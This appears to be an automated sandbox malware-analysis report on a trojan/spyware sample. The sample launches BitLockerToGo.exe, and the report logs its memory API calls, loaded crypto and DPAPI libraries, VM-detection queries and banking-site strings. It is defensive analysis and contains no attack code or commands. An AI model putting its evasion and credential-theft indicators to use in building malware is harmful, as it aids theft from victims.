Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_0076447E NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_0076447E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00765465 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00765465
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00766430 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00766430
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00786500 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00786500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_007866E0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_007866E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_007878F0 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_007878F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_007838D4 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtClose,	6_2_007838D4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00768890 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00768890
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00786920 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00786920
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00764A59 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00764A59
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00786A40 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00786A40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00768AC0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00768AC0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00770B61 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00770B61
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_0076DC00 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_0076DC00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00786D30 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00786D30
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00786E40 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00786E40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00783E33 NtOpenSection,	6_2_00783E33
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00783E87 NtMapViewOfSection,	6_2_00783E87
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00781F90 NtAllocateVirtualMemory,NtFreeVirtualMemory,RtlAllocateHeap,NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00781F90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_0076902E NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_0076902E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_0076D000 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_0076D000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00787160 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00787160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00780260 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00780260
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_007822E0 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_007822E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_007662B0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_007662B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_0076A2B9 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_0076A2B9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00762384 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00762384
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_0076A46F NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_0076A46F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00787500 NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00787500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_007825E0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_007825E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_0076C6C0 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_0076C6C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00782740 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00782740
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00769732 GetProcAddress,NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,RtlExpandEnvironmentStrings,RtlExpandEnvironmentStrings,	6_2_00769732
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_007627DB NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_007627DB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00782850 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00782850
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_0076C820 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_0076C820
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00782980 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00782980
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00782A90 NtAllocateVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,NtFreeVirtualMemory,NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00782A90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00786B70 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00786B70
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00783EE2 NtClose,	6_2_00783EE2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_0076FF68 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_0076FF68

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00754750	6_2_00754750
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00751710	6_2_00751710
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_0076DC00	6_2_0076DC00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00756070	6_2_00756070
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_0076902E	6_2_0076902E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00780010	6_2_00780010
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00751000	6_2_00751000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_0076D000	6_2_0076D000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00787160	6_2_00787160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00775152	6_2_00775152
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00760180	6_2_00760180
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_007532B0	6_2_007532B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00755300	6_2_00755300
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00787500	6_2_00787500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00756650	6_2_00756650
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00769732	6_2_00769732
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00758820	6_2_00758820
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_007788D9	6_2_007788D9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_0077697D	6_2_0077697D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00773992	6_2_00773992
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00782A90	6_2_00782A90
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00757BF0	6_2_00757BF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00753D10	6_2_00753D10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00774DE2	6_2_00774DE2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00752EA0	6_2_00752EA0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00758D50 appears 167 times
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: String function: 00758630 appears 42 times

Source: tatuJHXSR4.exe

Static PE information: Number of sections : 12 > 10

Source: tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C000262000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs tatuJHXSR4.exe
Source: tatuJHXSR4.exe, 00000003.00000000.2197246693.00007FF67ED12000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameDataNames-Setup-x64.exe< vs tatuJHXSR4.exe
Source: tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C000180000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs tatuJHXSR4.exe
Source: tatuJHXSR4.exe, 00000003.00000003.2359889162.0000022464A50000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameBITLOCKERTOGO.EXEj% vs tatuJHXSR4.exe
Source: tatuJHXSR4.exe	Binary or memory string: OriginalFilenameDataNames-Setup-x64.exe< vs tatuJHXSR4.exe

Source: C:\Users\user\Desktop\tatuJHXSR4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\tatuJHXSR4.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\tatuJHXSR4.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\tatuJHXSR4.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: tatuJHXSR4.exe

Binary string: Type.Indirect argument 1SliceType.Len argument 1SliceType.Cap argument 1brotli: Read after Closeinvalid pattern syntax: address string too shortresource length too longunpacking Question.Classinvalid field number: %dmismatching enum lengthsidna: disallowed rune %Utoken used before issuedtoken has invalid issuertoken has invalid claims\Device\NamedPipe\cygwindictionary read error %sdecoder used after ClosemaxSymbolValue too smallsymbolLen (%d) too smallGODEBUG sys/cpu: value "", required CPU feature

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/0@2/1

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 6_2_0077802C CoCreateInstance,

6_2_0077802C

Source: C:\Users\user\Desktop\tatuJHXSR4.exe

File created: C:\Users\Public\Libraries\khlep.scif

Jump to behavior

Source: C:\Users\user\Desktop\tatuJHXSR4.exe

File opened: C:\Windows\system32\2d7ba0c48241fa190ff10dc3d13e1fbebca3258dc478a4dab975d83888d0f5ffAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Jump to behavior

Source: tatuJHXSR4.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_2BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_512BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\tatuJHXSR4.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: tatuJHXSR4.exe	String found in binary or memory: y/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: Virtu
Source: tatuJHXSR4.exe	String found in binary or memory: y/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescruntime: inconsistent write deadlineUnable to determine system directoryruntime: Virtu
Source: tatuJHXSR4.exe	String found in binary or memory: pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: fai
Source: tatuJHXSR4.exe	String found in binary or memory: pause:cpu-seconds/cpu/classes/gc/total:cpu-seconds/gc/limiter/last-enabled:gc-cycle/memory/classes/heap/stacks:bytes/memory/classes/heap/unused:bytes/sched/pauses/stopping/gc:seconds/sched/pauses/total/other:secondsmin must be a non-zero power of 2runtime: fai
Source: tatuJHXSR4.exe	String found in binary or memory: overflow:hidden;img src="http://addEventListenerresponsible for s.js"></script>
Source: tatuJHXSR4.exe	String found in binary or memory: net/addrselect.go
Source: tatuJHXSR4.exe	String found in binary or memory: github.com/saferwall/pe@v1.4.8/loadconfig.go

Source: C:\Users\user\Desktop\tatuJHXSR4.exe

File read: C:\Users\user\Desktop\tatuJHXSR4.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\tatuJHXSR4.exe "C:\Users\user\Desktop\tatuJHXSR4.exe"
Source: C:\Users\user\Desktop\tatuJHXSR4.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Source: C:\Users\user\Desktop\tatuJHXSR4.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Jump to behavior

Source: tatuJHXSR4.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: tatuJHXSR4.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: tatuJHXSR4.exe

Static file information: File size 10470400 > 1048576

Source: tatuJHXSR4.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x43dc00
Source: tatuJHXSR4.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x501e00

Source: tatuJHXSR4.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C000262000.00000004.00001000.00020000.00000000.sdmp, tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C000180000.00000004.00001000.00020000.00000000.sdmp, tatuJHXSR4.exe, 00000003.00000003.2359889162.0000022464A50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C000262000.00000004.00001000.00020000.00000000.sdmp, tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C000180000.00000004.00001000.00020000.00000000.sdmp, tatuJHXSR4.exe, 00000003.00000003.2359889162.0000022464A50000.00000004.00001000.00020000.00000000.sdmp

Source: tatuJHXSR4.exe

Static PE information: section name: .xdata

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF66CB pushfd ; retf	6_3_00CF66CE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF66CB pushfd ; retf	6_3_00CF66CE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF66CB pushfd ; retf	6_3_00CF66CE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF66C8 pushfd ; retf	6_3_00CF66CA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF66C8 pushfd ; retf	6_3_00CF66CA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF66C8 pushfd ; retf	6_3_00CF66CA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF52DB push edx; iretd	6_3_00CF52DE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF52DB push edx; iretd	6_3_00CF52DE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF52DB push edx; iretd	6_3_00CF52DE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF52D9 push edx; iretd	6_3_00CF52DA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF52D9 push edx; iretd	6_3_00CF52DA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF52D9 push edx; iretd	6_3_00CF52DA
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF50EE push eax; iretd	6_3_00CF5126
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF50EE push eax; iretd	6_3_00CF5126
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF50EE push eax; iretd	6_3_00CF5126
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF529C push edx; iretd	6_3_00CF529E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF529C push edx; iretd	6_3_00CF529E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF529C push edx; iretd	6_3_00CF529E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF5899 push esi; iretd	6_3_00CF589A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF5899 push esi; iretd	6_3_00CF589A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF5899 push esi; iretd	6_3_00CF589A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF52A0 push edx; iretd	6_3_00CF52A2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF52A0 push edx; iretd	6_3_00CF52A2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF52A0 push edx; iretd	6_3_00CF52A2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF5679 push edi; iretd	6_3_00CF567A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF5679 push edi; iretd	6_3_00CF567A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF5679 push edi; iretd	6_3_00CF567A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF5671 push esi; iretd	6_3_00CF5672
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF5671 push esi; iretd	6_3_00CF5672
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF5671 push esi; iretd	6_3_00CF5672
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_3_00CF5204 push eax; iretd	6_3_00CF51CA

Source: C:\Users\user\Desktop\tatuJHXSR4.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 7644	Thread sleep time: -180000s >= -30000s			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 7640	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: BitLockerToGo.exe, 00000006.00000003.2401171065.0000000004F87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
